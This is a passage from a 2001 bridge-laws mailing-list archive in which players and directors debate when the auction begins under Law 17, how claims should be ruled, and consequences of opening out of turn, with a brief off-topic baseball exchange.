times, the race begins for different competitors at >different times, but "the race" begins when the first runner starts. And in an earlier message: >No, it hinges on whether anyone at the table has looked at their >cards. To which I replied: >> Not according to Law 17, it doesn't. > >I tried working this case out for an hour or so with the assumption that >"the auction" doesn't start until it has started for both sides. That led >me into a real quagmire. Accordingly, I took the simpler line of thinking, >one that TDs can more easily workwith [sic]. As DB points out, Law 17 is "fatally flawed," and Law 24 isn't much better. I suppose we just have to muddle through as best we can, and hope we don't screw it up too badly. Pretty sorry situation, though, if you ask me. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm+jk72UW3au93vOEQKU7ACfXvQKtewDyLJg+9GiIg6VtDuMhyAAninF IsG3lyLJqyXIxw15xm80QWph =ogz+ -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 15:55:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P4tOK17650 for bridge-laws-outgoing; Thu, 25 Jan 2001 15:55:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P4tIt17645 for ; Thu, 25 Jan 2001 15:55:19 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 24 Jan 2001 20:56:09 -0800 Message-ID: <01c301c0868a$fbc9f760$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <00d001c08629$cefc5b80$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 20:46:07 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "John (MadDog) Probst" > Marvin L. French wrote: > > > > >From: "Kevin Perkins" > > > >> I polled the bridge players in my area for one week. After 97 people, > >> including 3 directors, none of the people questioned believed the > >remarks in > >> question were a claim. > > > >And probably only 3 of them own a copy of the Laws, and none are very > >familiar with its contents. > > All 3? "Probably," I said, going by the poll result but allowing room for error. It's possible that one or more of the TDs was very knowledgeable about the Laws, even though the poll seems to have been taken in Austin, Texas, not London, England. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 15:57:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P4vAm17694 for bridge-laws-outgoing; Thu, 25 Jan 2001 15:57:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P4v4t17687 for ; Thu, 25 Jan 2001 15:57:04 +1100 (EST) Received: from hirschd (user-vcauhkq.dsl.mindspring.com [216.175.70.154]) by barry.mail.mindspring.net (8.9.3/8.8.5) with SMTP id XAA18179 for ; Wed, 24 Jan 2001 23:56:59 -0500 (EST) Message-ID: <001301c0868b$3d6cf1e0$0200000a@mindspring.com> From: "Hirsch Davis" To: References: <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 23:56:54 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Ed Reppert" To: "Grant Sterling" Cc: Sent: Tuesday, January 23, 2001 7:34 PM Subject: Re: [BLML] Claim? > Or are you planning to give, before each session of play or > each tournament, a written test on the laws of bridge to each player, > to ensure he knows them? > > Regards, > > Ed > What an excellent idea! I don't think we need to give the test on the laws at each tournament, but it might be a good idea to require it of players at least once in their bridge development. Perhaps we could make it part of the requirements for becoming a Life Master. That way, we aren't troubling the novices or the perennial Flight C players with such trivial things as the rules of the game, and we can have some assurance that anyone called a "Life Master" has looked at the Law Book at least once. Regards, Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 16:15:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P5F6518194 for bridge-laws-outgoing; Thu, 25 Jan 2001 16:15:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0P5Evt18188 for ; Thu, 25 Jan 2001 16:14:57 +1100 (EST) Received: by falhost.fujitsu.com.au; id QAA07418; Thu, 25 Jan 2001 16:14:45 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma007018; Thu, 25 Jan 01 16:14:19 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0P5EJb13174 Received: from doctech (doctech.fujitsu.com.au [137.172.72.22]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with SMTP id f0P5EJ913168 for ; Thu, 25 Jan 2001 16:14:19 +1100 Received: from SERCDEMOnote ([137.172.15.125]) by doctech (4.1/SMI-4.1-MHS-7.0) id AA06191; Thu, 25 Jan 01 15:59:47 EST Message-Id: <031701c0868e$1ee73200$7d0fac89@SERCDEMOnote> From: "Peter Newman" To: References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote><200101250044.QAA14844@mailhub.irvine.com> <5FRfN4AYn4b6Ewvd@probst.demon.co.uk> Subject: Re: [BLML] Consistent Claim Adjudication Date: Thu, 25 Jan 2001 16:17:32 +1100 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi All, Thanks for the responses - it seems fairly agreed that it should be two tricks for the defence. North gets to pitch one heart from dummy, wakes up for the second and then doesn't pitch the stopper.... So I assume if the hand was (and although not described consistent with the play to this point): T5 -- -- Q654 -- 8764 A875 -- 95 -- -- 87 KJ3 KJ6 -- -- Declarer would also be one off - despite being cold on their claimed line of play.... Or how about I modify the hand like this? T5 -- -- Q654 87 4 87 A65 95 -- -- 87 KJ63 KJ -- -- Is it irrational to throw a heart on the CQ? Put me down as a fan of - any director, same decision....or in other words - not a supporter of the current law! Cheers, Peter http://www.nswba.com.au -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 18:47:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P7kfw07145 for bridge-laws-outgoing; Thu, 25 Jan 2001 18:46:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f249.law3.hotmail.com [209.185.241.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P7kYt07137 for ; Thu, 25 Jan 2001 18:46:35 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 24 Jan 2001 23:46:26 -0800 Received: from 172.167.255.204 by lw3fd.law3.hotmail.msn.com with HTTP; Thu, 25 Jan 2001 07:46:26 GMT X-Originating-IP: [172.167.255.204] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? Date: Wed, 24 Jan 2001 23:46:26 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 25 Jan 2001 07:46:26.0567 (UTC) FILETIME=[EBD2F970:01C086A2] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As a Baltimoron, I miss him as the O's manager. For those who think he may have been bad for the game, I suspect they'll never understand the spirit of places like Memorial Stadium or Wrigley Field. As baseball is a spectator sport, sometimes you have to put on a show for your audience. :) -Todd >From: "Craig Senior" >Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? >Date: Wed, 24 Jan 2001 16:14:35 -0500 > >Certainly not universally. Many consider him to have been, >although too peppery for his own good, a fine dynamic manager >who got the very most out of his players. But then you believe >that 99.9999999% of everyone agrees with each of your opinions, >don't you. :-)) By the way, I never agreed with the statement >quoted...that was part of the darker side of a man who had many >substantial merits. > >Craig > >Apologies to those across the pond...I know these baseball items >really aren't cricket. But we Yanks have to have our innings now >and then. :-))) _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 20:21:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P9KXP06240 for bridge-laws-outgoing; Thu, 25 Jan 2001 20:20:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P9KRt06204 for ; Thu, 25 Jan 2001 20:20:27 +1100 (EST) Received: from [213.1.64.96] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14LiZq-0002Be-00 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 09:20:22 +0000 Message-ID: <001b01c086b0$0c8e6ac0$604001d5@pbncomputer> From: "David Burn" To: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 09:20:22 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk John Probst wrote: > "... face of his *cardSSSSSS* ... " implies looks at them all (or at > least, most of them), otherwise it would say "face of *a card*". The phrase is, as I have said, ambiguous. One could just as easily argue that if more than one card was intended, it would say "faces of his cards". There is no way at all in which it can be syntactically determined whether the word "face" should be in the plural or "cards" should be in the singular. As in the "claim" argument, it is important to avoid the trap of believing that words mean what you want them to mean, instead of what they actually mean. Most players, in my experience, do this: (1) they take their cards out of the board and count them; (2) they pick them up in a single pile and lift them towards their eyes; (3) they look first at the face of the bottom card of the pile; (4) they fan the cards and look at the faces of the rest of them; (5) they sort their hand. If one had to produce a "common sense" interpretation of the law, my view is that the auction period would begin at stage 3, rather than at some indeterminate point during stage 4. There are also players who pick their cards up one at a time, sorting their hand as they do so. Again, for such players I would say that the auction period begins once they have looked at their first card, rather than at some arbitrary card such as the second or the tenth. However, it is not unknown for hands to be returned to the board with one or more cards already face up. These cards are usually exposed when a player is in the act of counting his cards prior to examining them. The literal interpretation of L17 would imply that if this happens, the auction period has begun for that player's side. Clearly, this is not what was intended when Laws 7 and 17 were being constructed. I do not advocate the approach taken by many subscribers to this list of saying: if such was clearly not intended to be the law, then it is not the law, and something else is the law instead - for that approach, however nobly intended, is of course illegal. I do say, however, that there appear to be a couple of anomalies that could usefully be examined by the Laws Commission. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 20:52:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P9prT17433 for bridge-laws-outgoing; Thu, 25 Jan 2001 20:51:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P9pkt17398 for ; Thu, 25 Jan 2001 20:51:47 +1100 (EST) Received: from [213.122.210.177] (helo=pbncomputer) by carbon.btinternet.com with smtp (Exim 3.03 #83) id 14Lj45-00019Y-00 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 09:51:37 +0000 Message-ID: <002901c086b4$6a0ac5a0$604001d5@pbncomputer> From: "David Burn" To: References: <200101241725.JAA02804@mailhub.irvine.com> Subject: Re: [BLML] Let's get back to the easy stuff Date: Thu, 25 Jan 2001 09:51:01 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam wrote: > David Burn did provide a good example; but I still doubt that anyone > can provide a hand where barring partner after an OOT opening bid > would have a higher expected result, if no psyching is involved. Well, at least we have moved on from the position that it is "inconceivable" for a player to know that opening the bidding out of turn on a good hand (facing an unpassed partner) could benefit his side. (When I say "we", I do not know whether DWS and Eric Landau, who after many tribulations reached agreement on the contrary position, have modified their stance in any way.) Before I deal with Adam's point above, a hypothetical question occurs to me: Suppose the player who in "real life" opened 1D on A Kx xx AKQJxxxx had opened it out of turn (in all innocence). And suppose that the opponents did not accept the bid. After three passes to this hand in fourth position - what can its holder legally do? As I understand the various opinions on the subject, if he opens 3NT and makes it on a non-diamond lead, the score will be adjusted (but to what?) If he opens 6C and makes it on a spade lead (dummy having, perhaps, SKQ and C10 but nothing else of value), the score will again be adjusted (but to what?) In fact, the case appears to be that if you have psyched out of turn, you will sooner or later be credited with the worst possible result your side could obtain. Is this the law? To return to our sheep: if you have ten solid spades and three small clubs, your expectation is that playing the hand in four spades (perhaps doubled) will represent the best your side can do. Of course, partner *might* have CAKQ, or three aces, or some holding which means that your side can make a slam. But he probably hasn't. In the great majority of cases, you want to play in four spades - you do not want to be outbid by the opponents, and you certainly do not want to be outbid by partner. In order to achieve these aims as the opening bidder, you will probably open four spades and hope for the best. (Please note that if your tactical judgement differs from mine, you may very well be right - but that is not the issue). To achieve the same aims in fourth position is a little more difficult. But a manoeuvre certainly worth considering is the following: open one spade out of turn, then bid four spades when it becomes your turn. Partner can, of course, do nothing - and the opponents are far more likely than not to allow you to play in four spades, and perhaps to double you, for they will form the impression that your bid of four spades is a gamble based on having silenced partner. In short, whenever your hand is such that you can be reasonably certain of your side's "best" contract (in the sense of the contract with the greatest positive expectation for your side, given that partner's hand is unknown), it can conceivably be to your advantage to open the bidding out of turn, and you could know this. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 20:53:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P9rLq17932 for bridge-laws-outgoing; Thu, 25 Jan 2001 20:53:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P9rCt17883 for ; Thu, 25 Jan 2001 20:53:12 +1100 (EST) Received: from dodona (host213-123-58-57.dialup.lineone.co.uk [213.123.58.57]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA05885; Thu, 25 Jan 2001 09:52:44 GMT Message-ID: <003601c086b4$df3e2100$393a7bd5@dodona> From: "Grattan Endicott" To: "David Burn" , "Ed Reppert" Cc: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com><00da01c08514$6f2045c0$9a9c1e18@san.rr.com><3.0.2.32.20010124022224.010ceae8@mail.chello.nl><009901c0866e$8b6d6220$911c073e@pbncomputer> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 09:52:27 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott " No problems can be solved and all solutions lead to more problems." - William Burroughs. <=====> ----- Original Message ----- From: Ed Reppert To: David Burn Cc: Sent: Thursday, January 25, 2001 2:59 AM Subject: Re: [BLML] Exposed Card before auction begins (?) > > > Maybe the auction (for both sides) should start when any player > removes his cards from the board. Or would that cause other problems? > +=+ Don't worry about it. Someone would find some. +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 20:53:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P9rPM17950 for bridge-laws-outgoing; Thu, 25 Jan 2001 20:53:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P9rEt17897 for ; Thu, 25 Jan 2001 20:53:15 +1100 (EST) Received: from dodona (host213-123-58-57.dialup.lineone.co.uk [213.123.58.57]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA05911; Thu, 25 Jan 2001 09:52:46 GMT Message-ID: <003701c086b4$e06c40c0$393a7bd5@dodona> From: "Grattan Endicott" To: "David Burn" , "Ed Reppert" Cc: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com><00da01c08514$6f2045c0$9a9c1e18@san.rr.com><3.0.2.32.20010124022224.010ceae8@mail.chello.nl><009901c0866e$8b6d6220$911c073e@pbncomputer> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 09:54:10 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott " No problems can be solved and all solutions lead to more problems." - William Burroughs. <=====> ----- Original Message ----- From: Ed Reppert To: David Burn Cc: Sent: Thursday, January 25, 2001 2:59 AM Subject: Re: [BLML] Exposed Card before auction begins (?) > > I would interpret "looks at the face of his cards" in > law 17 to mean he looks at the face(s) of his cards > held in such a way that he can see those faces (all of > them that are there - in case a card has somehow > gone missing) but no one else can - that is, they way > he's supposed to hold them during the hand. > +=+ Sometimes I feel this list is contrived for people to find something to argue about. This thread is a case in point. There is nothing wrong with the language of the law here. 'His cards' means the hand dealt to him; it is used in precisely that sense in Law 7B and again in 17A and, in the plural, means the generality of the hand. Note a distinction made in Law 13B. The auction begins when a player first looks at the hand dealt to him - he may or may not have taken in all the cards at that moment but he has looked. Seeing a single card is not seeing 'his cards', and we mention 'face' to avoid another thread on blml - the face of his cards is the face of his hand, a single face that is composed of the fronts of (hopefully) thirteen cards. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 22:31:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PBT7a17982 for bridge-laws-outgoing; Thu, 25 Jan 2001 22:29:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PBSut17938 for ; Thu, 25 Jan 2001 22:28:57 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0PBSmH18326 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 11:28:48 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 25 Jan 2001 11:28 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Consistent Claim Adjudication To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <031701c0868e$1ee73200$7d0fac89@SERCDEMOnote> Peter Newman wrote: > > Hi All, > > Thanks for the responses - it seems fairly agreed that it should be two > tricks for the defence. North gets to pitch one heart from dummy, wakes > up for the second and then doesn't pitch the stopper.... > > So I assume if the hand was (and although not described consistent with > the play to this point): > > T5 > -- > -- > Q654 > -- 8764 > A875 -- > 95 -- > -- 87 > KJ3 > KJ6 > -- > -- > > Declarer would also be one off - despite being cold on their claimed > line of play.... Not cold. S3 is a perfectly rational discard on the CQ (in relation to the claim statement). Declarer will lose 3 tricks. Make the opposing spades 1-4 rather than 0-4 and declarer will lose 4 tricks (playing E for 876,A,-,87). > Or how about I modify the hand like this? > > T5 > -- > -- > Q654 > 87 4 > 87 A65 > 95 -- > -- 87 > KJ63 > KJ > -- > -- > > Is it irrational to throw a heart on the CQ? No - it is consistent with the claim statement. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:05:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PD3Ct28784 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:03:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PD36t28780 for ; Fri, 26 Jan 2001 00:03:06 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0PD31R05858 for ; Thu, 25 Jan 2001 08:03:02 -0500 (EST) Message-Id: <4.3.2.7.1.20010125075030.00b3f350@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 25 Jan 2001 08:04:47 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <00a301c08560$756371e0$d610f7a5@james> References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk A while back I tried to make the distinction between statements of presumptive fact and statements of probabilistic expectation, but it slipped through without comment. Then... At 12:18 PM 1/23/01, Craig wrote: >We're making 12 tricks is a claim...even >if it is preceded by I'll bet you a beer. To a betting man (or anyone else concerned with probability in either a theoretical or a practical context) the statement "I'll bet you a beer we're making 12 tricks" is a statement to the effect that I believe I am more likely to do so than to fail to do so. It is in no way a statement to the effect that I *will* do so. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:21:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDK0p28814 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:20:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDJnt28805 for ; Fri, 26 Jan 2001 00:19:50 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDJju29901 for ; Thu, 25 Jan 2001 14:19:45 +0100 (MET) Message-ID: <3A6E9B1B.16DCE844@village.uunet.be> Date: Wed, 24 Jan 2001 10:06:35 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] wake up allowed? References: <3A6DB570.A0815438@village.uunet.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > At 5:46 PM +0100 1/23/01, Herman De Wael wrote: > >For what it's worth, I do not believe that the fact that > >bidding cards are used, and the 3Di bid lies right over the > >1NT means that 1NT now becomes AI per se. > > Earlier you said that something needs to happen which would cause the > player to ask for a review of the auction. Are you suggesting that is > necessary *when bidding cards are in use*? Must a player think "if we > weren't using bidding boxes, I would ask for a review" before the UI > becomes AI? Must he *actually* ask for a review, even using bidding > boxes? > No he doesn't. The auction must have become sufficiently "strange" for the average person to ask for a review, if we would be using spoken bidding. I'd say that two rounds of bidding would suffice. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 00:21:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PDJwm28813 for bridge-laws-outgoing; Fri, 26 Jan 2001 00:19:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.be.uu.net (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PDJlt28800 for ; Fri, 26 Jan 2001 00:19:48 +1100 (EST) Received: from village.uunet.be (uu212-190-2-22.unknown.uunet.be [212.190.2.22]) by bru5-smtp-out1.be.uu.net (8.11.2/8.11.2) with ESMTP id f0PDJhu29886 for ; Thu, 25 